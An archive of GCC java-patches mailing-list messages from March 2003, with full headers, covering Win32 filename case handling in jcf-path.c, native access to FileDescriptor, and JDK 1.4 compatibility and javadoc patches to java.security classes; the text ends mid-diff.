java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24081 invoked from network); 2 Mar 2003 12:43:09 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 2 Mar 2003 12:43:09 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-12.rdu.redhat.com [172.16.50.12]) by executor.cambridge.redhat.com (Postfix) with ESMTP id D685DABB05; Sun, 2 Mar 2003 12:43:06 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h22Cgtb23303; Sun, 2 Mar 2003 12:42:55 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15969.64590.593688.838079@cuddles.cambridge.redhat.com> Date: Sun, 2 Mar 2003 12:42:54 +0000 (GMT) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Patch: jcf-path.c and filename case-insensitivity on Win32 In-Reply-To: <3E591729.9FEFF8B1@hotmail.com> References: <3E591729.9FEFF8B1@hotmail.com> Ranjit Mathew writes: > Hi, > > This patch makes jcf-path.c use IS_DIR_SEPARATOR instead of > directly comparing against DIR_SEPARATOR. It also makes it > compare ZIP and JAR files in a case-insensitive manner if we > have a DOS-based filesystem as on Windows. > > Ranjit. > > > Index: ChangeLog > from Ranjit Mathew > > * jcf-path.c (add_entry): Compare ZIP and JAR files in a > case-insensitive way if we have a DOS-based filesystem. > Use IS_DIR_SEPARATOR instead of explicit checking against > DIR_SEPARATOR. > (jcf_path_extdirs_arg): Use IS_DIR_SEPARATOR instead of > explicitly checking against DIR_SEPARATOR. > > Index: jcf-path.c > =================================================================== > *** jcf-path.c Mon Jan 27 21:43:44 2003 > --- jcf-path.c Tue Jan 28 20:28:07 2003 > *************** add_entry (entp, filename, is_system) > *** 149,154 **** > --- 149,160 ---- > > len = strlen (filename); > + > + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) > + if (len > 4 && (strcasecmp (filename + len - 4, ".zip") == 0 > + || strcasecmp (filename + len - 4, ".jar") == 0)) > + #else > if (len > 4 && (strcmp (filename + len - 4, ".zip") == 0 > || strcmp (filename + len - 4, ".jar") == 0)) > + #endif See Tom's comment -- declare COMPARE_FILENAMES appropriately. We don't want HAVE_DOS_BASED_FILE_SYSTEM all over the place if we can possibly avoid it. Otherwise this is fine. Andrew. From java-patches-return-6339-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 13:34:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1300 invoked by alias); 2 Mar 2003 13:34:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1288 invoked from network); 2 Mar 2003 13:34:47 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 2 Mar 2003 13:34:47 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-67-024.ewetel.net [80.228.67.24]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h22DYjgA018274; Sun, 2 Mar 2003 14:34:45 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] gnu.java.nio.FileChannelImpl - hack - comments appreciated Date: Sun, 2 Mar 2003 14:35:05 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302281321.26917.konqueror@gmx.de> <87u1emr5py.fsf@fleche.redhat.com> In-Reply-To: <87u1emr5py.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303021435.05215.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Sonntag, 2. M=E4rz 2003 01:07 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> I made a little patch to make gnu.java.nio.FileChannelImpl > more Michael> working in trunk. Unfortunately it uses an IMO ugly > hack: > > Michael> It uses native methods to access the package private > methods from Michael> java.io.FileDescriptor. Is this allowed ? > Should it be avoided ? What Michael> should be done ? > > This is definitely allowed. We already do this with FileDescriptor > in java.net; there's even a comment in FileDescriptor explaining > that we do it. I know we do it in other cases as well. It is a > bit ugly, but not really worse than the alternatives. I was not sure so I better asked before submitting patches were its=20 used everywhere. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YgiJWSOgCCdjSDsRAlMiAJ9nIn3htgh93SU6GbRaO1TZJQUPWgCghzF3 vPfDyTd3AeTPg1PMY3Mn3yA=3D =3DlHDl =2D----END PGP SIGNATURE----- From java-patches-return-6340-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 13:49:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4808 invoked by alias); 2 Mar 2003 13:49:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4801 invoked from network); 2 Mar 2003 13:49:29 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 2 Mar 2003 13:49:29 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h22DnT411390 for ; Sun, 2 Mar 2003 07:49:29 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sun, 02 Mar 2003 07:49:37 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <15969.64590.593688.838079@cuddles.cambridge.redhat.com> Message-Id: Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi People, >See Tom's comment -- declare COMPARE_FILENAMES appropriately. We >don't want HAVE_DOS_BASED_FILE_SYSTEM all over the place if we can >possibly avoid it. > >Otherwise this is fine. I'm going to stick my neck out here: would it be ethically/morally objectionable to have platform-dependent files where we call into platform-dependent same-named functions for things like these? And if you're worried about performance on UNIX in the case of something like strcmp, do a #define where things would resolve to the real deal on UNIX, but a function call into the platform- dependent file on Win32? I'm asking this because there are a few strategic opens / fopens in jcf-*.c which, if you checked for the existence of the file of the exact case on Win32, you would get the compiler working on MingW. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6341-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 15:59:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4075 invoked by alias); 2 Mar 2003 15:59:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4064 invoked from network); 2 Mar 2003 15:59:24 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 2 Mar 2003 15:59:24 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-80-192.ewetel.net [80.228.80.192]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h22FxL0h015250; Sun, 2 Mar 2003 16:59:22 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] gnu.java.nio.FileChannelImpl - hack - comments appreciated Date: Sun, 2 Mar 2003 16:59:20 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302281321.26917.konqueror@gmx.de> <87u1emr5py.fsf@fleche.redhat.com> In-Reply-To: <87u1emr5py.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303021659.20305.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Sonntag, 2. M=E4rz 2003 01:07 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> I made a little patch to make gnu.java.nio.FileChannelImpl > more Michael> working in trunk. Unfortunately it uses an IMO ugly > hack: > > Michael> It uses native methods to access the package private > methods from Michael> java.io.FileDescriptor. Is this allowed ? > Should it be avoided ? What Michael> should be done ? > > This is definitely allowed. We already do this with FileDescriptor > in java.net; there's even a comment in FileDescriptor explaining > that we do it. I know we do it in other cases as well. It is a > bit ugly, but not really worse than the alternatives. Okay, I commited this now to trunk. Now I will be able to submit=20 patches for a more working version of gnu.java.nio and the java.io=20 patch to acces FileChannels. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+YipYWSOgCCdjSDsRAtouAKCUd/k+kcwAh+qXOzRWcTP64m70iACdGjhH eRKl8jg3I1uUM4RnxnR3ilk=3D =3D2S0r =2D----END PGP SIGNATURE----- From java-patches-return-6342-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 16:38:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12492 invoked by alias); 2 Mar 2003 16:38:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12485 invoked from network); 2 Mar 2003 16:38:03 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 2 Mar 2003 16:38:03 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-12.rdu.redhat.com [172.16.50.12]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 7A7EBABB05; Sun, 2 Mar 2003 16:38:01 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h22Gbnm23539; Sun, 2 Mar 2003 16:37:49 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15970.13149.302632.834198@cuddles.cambridge.redhat.com> Date: Sun, 2 Mar 2003 16:37:49 +0000 (GMT) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 In-Reply-To: References: <15969.64590.593688.838079@cuddles.cambridge.redhat.com> Mohan Embar writes: > Hi People, > > >See Tom's comment -- declare COMPARE_FILENAMES appropriately. We > >don't want HAVE_DOS_BASED_FILE_SYSTEM all over the place if we can > >possibly avoid it. > > > >Otherwise this is fine. > > I'm going to stick my neck out here: would it be ethically/morally > objectionable to have platform-dependent files where we call into > platform-dependent same-named functions for things like these? In principle, but if we ever get into that much platform-dependent complexity in the compiler front end we are going it totally the wrong direction. > And if you're worried about performance on UNIX in the case of > something like strcmp, In the front end? No way. It must be right. > do a #define where things would resolve to the real deal on UNIX, > but a function call into the platform- dependent file on Win32? > > I'm asking this because there are a few strategic opens / fopens > in jcf-*.c which, if you checked for the existence of the file > of the exact case on Win32, you would get the compiler working > on MingW. This should be possible to parameterize with a macro in the same way. Go for it. Andrew. From java-patches-return-6343-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 17:46:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6343 invoked by alias); 2 Mar 2003 17:46:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6334 invoked from network); 2 Mar 2003 17:46:34 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 2 Mar 2003 17:46:34 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h22HkXp06761 for ; Sun, 2 Mar 2003 11:46:33 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sun, 02 Mar 2003 11:46:43 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <15970.13149.302632.834198@cuddles.cambridge.redhat.com> Message-Id: <7SQFDGVQMIB9B8XV6XKI74CAED3Z.3e624383@p733> Subject: Re: Patch: jcf-path.c and filename case-insensitivity on Win32 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Andrew, Thanks for your reply. > > I'm going to stick my neck out here: would it be ethically/morally > > objectionable to have platform-dependent files where we call into > > platform-dependent same-named functions for things like these? > >In principle, but if we ever get into that much platform-dependent >complexity in the compiler front end we are going it totally the wrong >direction. Why the distinction between the compiler front end and elsewhere in gcj? Everywhere I look in the code, MingW seems like the proverbial black sheep, causing trouble and stirring things up for the POSIX world. I agree with the general principle that platform-specific code forks are undesirable, but why would the compiler front end be more undesirable? (A sidenote: the MingW build breaks at exactly the same place as this attempted Mac OSX build: http://gcc.gnu.org/ml/java/2003-02/msg00325.html) > > And if you're worried about performance on UNIX in the case of > > something like strcmp, > >In the front end? No way. It must be right. I didn't understand your last sentence. By "It must be right", do you mean: "it must be implemented correctly/properly"?. > > do a #define where things would resolve to the real deal on UNIX, > > but a function call into the platform- dependent file on Win32? > > > > I'm asking this because there are a few strategic opens / fopens > > in jcf-*.c which, if you checked for the existence of the file > > of the exact case on Win32, you would get the compiler working > > on MingW. > >This should be possible to parameterize with a macro in the same way. >Go for it. I had thought about this too, but then I asked myself a general question: how much of this macro stuff do we want to get into? The only advantage I can see of a macro is to spare the overhead of another level of indirection (another function call). Is the performance hit of such indirection relevant on today's computers, given the increased readability and debuggability? (Haven't mentally profiled this particular code enough to be able to answer this.) And even though I may be able to get away with a macro this time, what about the next time? And the next time? (Or won't there be any next times? ;) ) -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6344-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 17:52:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9007 invoked by alias); 2 Mar 2003 17:52:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8929 invoked from network); 2 Mar 2003 17:52:06 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 17:52:06 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 9E64F180084 for ; Mon, 3 Mar 2003 05:00:00 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.AlgorithmParameters Date: Mon, 3 Mar 2003 04:56:57 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030456.57122.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.AlgorithmParameters: formatting + dumentation =09(getInstance(String)): use new getInstance(String, Provider). =09(getInstance(String, String)): ditto. =09(getInstance(String, Provider)): new method. cvs -z9 diff -u -wb -B AlgorithmParameters.java (in directory /data/works= pace/cvs/gcc/libjava/java/security/) Index: AlgorithmParameters.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/AlgorithmParameters.java= ,v retrieving revision 1.2 diff -u -w -b -B -r1.2 AlgorithmParameters.java --- AlgorithmParameters.java=0922 Jan 2002 22:40:30 -0000=091.2 +++ AlgorithmParameters.java=092 Mar 2003 17:45:31 -0000 @@ -46,7 +46,7 @@ provides an interface through which to modify parameters for=20 classes. This class is used to manage the algorithm parameters. =20 - @since JDK 1.2 + @since 1.2 @author Mark Benvenuto */ public class AlgorithmParameters @@ -58,9 +58,9 @@ /** Creates an instance of AlgorithmParameters =20 - @param paramSpi A parameters engine to use - @param provider A provider to use - @param algorithm The algorithm=20 + @param paramSpi A parameters engine to use. + @param provider A provider to use. + @param algorithm The algorithm. */ protected AlgorithmParameters(AlgorithmParametersSpi paramSpi, =09=09=09=09Provider provider, String algorithm) @@ -88,23 +88,21 @@ The returned AlgorithmParameters must still be intialized with init(). =20 - @param algorithm the name of algorithm to choose - @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemente= d by providers + @param algorithm the name of algorithm to choose. + @return a AlgorithmParameters repesenting the desired algorithm. + @throws NoSuchAlgorithmException if the algorithm is not implemente= d by + providers. */ - public static AlgorithmParameters getInstance(String algorithm) throws - NoSuchAlgorithmException + public static AlgorithmParameters getInstance(String algorithm) + throws NoSuchAlgorithmException { Provider[] p =3D Security.getProviders(); - for (int i =3D 0; i < p.length; i++) + try { -=09String classname =3D -=09 p[i].getProperty("AlgorithmParameters." + algorithm); -=09if (classname !=3D null) -=09 return getInstance(classname, algorithm, p[i]); + return getInstance(algorithm, p[i]); } + catch (NoSuchAlgorithmException ignored) {} =20 throw new NoSuchAlgorithmException(algorithm); } @@ -122,20 +120,64 @@ @param algorithm the name of algorithm to choose @param provider the name of the provider to find the algorithm in @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemente= d by the provider + @throws NoSuchAlgorithmException if the algorithm is not implemente= d by + the provider @throws NoSuchProviderException if the provider is not found */ public static AlgorithmParameters getInstance(String algorithm, -=09=09=09=09=09=09String provider) throws - NoSuchAlgorithmException, NoSuchProviderException + String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("AlgorithmParameters." + algorithm)= , -=09=09 algorithm, p); + return getInstance(algorithm, p); + } + + /** + * Generates an AlgorithmParameterGenerator object for the requested + * algorithm, as supplied from the specified provider, if such a param= eter + * generator is available from the provider. Note: the provider<= /code> + * doesn't have to be registered. + * + * @param algorithm the string name of the algorithm. + * @param provider the provider. + * @return the new AlgorithmParameterGenerator object. + * @throws NoSuchAlgorithmException if the algorithm is not available = from + * the provider. + * @throws IllegalArgumentException if the provider is nu= ll. + * @since 1.4 + */ + public static AlgorithmParameters getInstance(String algorithm, + Provider provider) + throws NoSuchAlgorithmException + { + if (provider =3D=3D null) + throw new IllegalArgumentException(); + + // try the name as is + String className =3D provider.getProperty("AlgorithmParameters." + a= lgorithm); + if (className =3D=3D null) // try all uppercase + { + String upper =3D algorithm.toUpperCase(); + className =3D provider.getProperty("AlgorithmParameters." + uppe= r); + if (className =3D=3D null) // try if it's an alias + { + String alias =3D + provider.getProperty("Alg.Alias.AlgorithmParameters." + = algorithm); + if (alias =3D=3D null) // try all-uppercase alias name + { + alias =3D provider.getProperty("Alg.Alias.AlgorithmParam= eters." + upper); + if (alias =3D=3D null) // spit the dummy + throw new NoSuchAlgorithmException(algorithm); + } + className =3D provider.getProperty("AlgorithmParameters." + = alias); + if (className =3D=3D null) + throw new NoSuchAlgorithmException(algorithm); + } + } + return getInstance(className, algorithm, provider); } =20 private static AlgorithmParameters getInstance(String classname, @@ -167,7 +209,7 @@ /** Gets the provider that the class is from. =20 - @return the provider of this class + @return the provider of this class. */ public final Provider getProvider() { @@ -178,9 +220,9 @@ Initializes the engine with the specified=20 AlgorithmParameterSpec class. =20 - @param paramSpec A AlgorithmParameterSpec to initialize with - - @throws InvalidParameterSpecException For an inapporiate ParameterS= pec class + @param paramSpec A AlgorithmParameterSpec to initialize with. + @throws InvalidParameterSpecException For an inapporiate ParameterS= pec + class. */ public final void init(AlgorithmParameterSpec paramSpec) throws InvalidParameterSpecException @@ -195,9 +237,8 @@ specification exists then it succeeds or else it throws IOException. =20 - @param params Parameters to initialize with - - @throws IOException Decoding Error + @param params Parameters to initialize with. + @throws IOException Decoding Error. */ public final void init(byte[]params) throws IOException { @@ -212,10 +253,9 @@ specification if it exists or else it throws IOException. =20 - @param params Parameters to initialize with - @param format Name of decoding format to use - - @throws IOException Decoding Error + @param params Parameters to initialize with. + @param format Name of decoding format to use. + @throws IOException Decoding Error. */ public final void init(byte[]params, String format) throws IOException { @@ -227,11 +267,10 @@ paramSpec identifies the class to return the AlgortihmParameters in.=20 =20 - @param paramSpec Class to return AlgorithmParameters in - - @return the parameter specification - - @throws InvalidParameterSpecException if the paramSpec is an invali= d parameter class + @param paramSpec Class to return AlgorithmParameters in. + @return the parameter specification. + @throws InvalidParameterSpecException if the paramSpec is an invali= d + parameter class. */ public final AlgorithmParameterSpec getParameterSpec(Class paramSpec) = throws InvalidParameterSpecException @@ -244,7 +283,7 @@ The primary encoding format is ASN.1 format if it exists for the specified type. =20 - @return byte array representing the parameters + @return byte array representing the parameters. */ public final byte[] getEncoded() throws IOException { @@ -257,7 +296,7 @@ primary encoding format is used, the ASN.1 format,=20 if it exists for the specified type. =20 - @return byte array representing the parameters + @return byte array representing the parameters. */ public final byte[] getEncoded(String format) throws IOException { @@ -267,7 +306,7 @@ /** Returns a string representation of the encoding format =20 - @return a string containing the string representation + @return a string containing the string representation. */ public final String toString() { From java-patches-return-6345-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 17:57:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14502 invoked by alias); 2 Mar 2003 17:57:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14495 invoked from network); 2 Mar 2003 17:57:13 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 17:57:13 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id DEB8D17FBBF for ; Mon, 3 Mar 2003 05:05:09 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.Identity Date: Mon, 3 Mar 2003 05:02:06 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030502.06677.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.Identity: documentation + javadoc tags. cvs -z9 diff -u -wb -B Identity.java (in directory /data/workspace/cvs/gc= c/libjava/java/security/) Index: Identity.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/Identity.java,v retrieving revision 1.3 diff -u -w -b -B -r1.3 Identity.java --- Identity.java=094 Oct 2002 20:15:07 -0000=091.3 +++ Identity.java=092 Mar 2003 17:52:54 -0000 @@ -55,12 +55,11 @@ The Identity class can be subclassed to allow additional=20 information to be attached to it. =20 - @since JDK 1.1 - - @deprecated Use java.security.KeyStore, the java.security.cert=20 - package, and java.security.Principal.=20 - @author Mark Benvenuto =20 + @since 1.1 + @deprecated This class is no longer used. Its functionality has been = replaced + by java.security.KeyStore, the java.security.cert<= /code> + package, and java.security.Principal. */ public abstract class Identity implements Principal, Serializable { @@ -253,7 +247,7 @@ /** Returns an array of certificates for this identity. =20 - @returns array of certificates + @return array of certificates */ public Certificate[] certificates() { @@ -307,8 +301,7 @@ This class checks the security manager with the call=20 checkSecurityAccess with "printIdentity". =20 - @returns a string representing this Identity. - + @return a string representing this Identity. @throws SecurityException - if the security manager denies=20 access to "printIdentity" */ @@ -330,9 +323,7 @@ =20 @param detailed indicates whether or not to provide detailed=20 information - - @returns a string representing this Identity. - + @return a string representing this Identity. @throws SecurityException - if the security manager denies=20 access to "printIdentity" */ @@ -357,7 +348,7 @@ /** Gets the hashcode for this Identity. =20 - @returns the hashcode + @return the hashcode */ public int hashCode() { From java-patches-return-6346-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 02 18:03:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15883 invoked by alias); 2 Mar 2003 18:03:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15875 invoked from network); 2 Mar 2003 18:03:04 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 2 Mar 2003 18:03:04 -0000 Received: from solomon (a4-p56.syd.fl.net.au [202.181.2.120]) by delenn.fl.net.au (Postfix) with ESMTP id 2F309180478 for ; Mon, 3 Mar 2003 05:11:00 +1100 (EST) Content-Type: text/plain; charset="us-ascii" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: GCC libjava patches Subject: java.security.IdentityScope Date: Mon, 3 Mar 2003 05:07:57 +1100 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303030507.57134.raif@fl.net.au> hello there, this patch addresses JDK 1.4 compatibility. cheers; rsn in ChangeLog (in libjava), add: 2003-03-03 Raif S. Naffah =09* java.security.IdentityScope: added SVUID + documentation + =09fixed javadoc tags. cvs -z9 diff -u -wb -B IdentityScope.java (in directory /data/workspace/c= vs/gcc/libjava/java/security/) Index: IdentityScope.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/IdentityScope.java,v retrieving revision 1.2 diff -u -w -b -B -r1.2 IdentityScope.java --- IdentityScope.java=0922 Jan 2002 22:40:30 -0000=091.2 +++ IdentityScope.java=092 Mar 2003 17:57:19 -0000 @@ -50,19 +50,19 @@ =20 No identity within the same scope can have the same public key. =20 - @since JDK 1.1 - - @deprecated Use java.security.KeyStore, the java.security.cert=20 - package, and java.security.Principal.=20 - @author Mark Benvenuto =20 + @since 1.1 + @deprecated This class is no longer used. Its functionality has been = replaced + by java.security.KeyStore, the java.security.cert<= /code> + package, and java.security.Principal. */ public abstract class IdentityScope extends Identity { + static final long serialVersionUID =3D -2337346281189773310L; private static IdentityScope systemScope =3D null; =20 /** - Creates a new instance of IdentityScope from Serialized Data + Creates a new instance of IdentityScope from Serialized Data. */ protected IdentityScope() { @@ -73,7 +73,7 @@ Creates a new instance of IdentityScope with the specified name=20 and no scope. =20 - @param name the name to use + @param name the name to use. */ public IdentityScope(String name) { @@ -84,11 +84,9 @@ Creates a new instance of IdentityScope with the specified name=20 and IdentityScope. =20 - @param name the name to use - @param scope the scope to use - - @throws KeyManagementException if the identity scope is already=20 - present + @param name the name to use. + @param scope the scope to use. + @throws KeyManagementException if the identity scope is already pre= sent. */ public IdentityScope(String name, IdentityScope scope) throws KeyManagementException @@ -115,10 +113,9 @@ This class checks the security manager with the call=20 checkSecurityAccess with "setSystemScope". =20 - @param scope the new sustem scope - + @param scope the new sustem scope. @throws SecurityException - if the security manager denies=20 - access to "setSystemScope" + access to "setSystemScope". */ protected static void setSystemScope(IdentityScope scope) { @@ -132,7 +129,7 @@ /** Gets the number of entries within this IdentityScope. =20 - @returns the number of entries + @return the number of entries. */ public abstract int size(); =20 @@ -140,10 +137,9 @@ Gets the specified Identity within this scope by specified name. =20 - @param name name of Identity to get - - @returns an identity representing the name or null if it=20 - cannot be found + @param name name of Identity to get. + @return an identity representing the name or null if it + cannot be found. */ public abstract Identity getIdentity(String name); =20 @@ -151,10 +147,9 @@ Gets the specified Identity within this scope by the specified 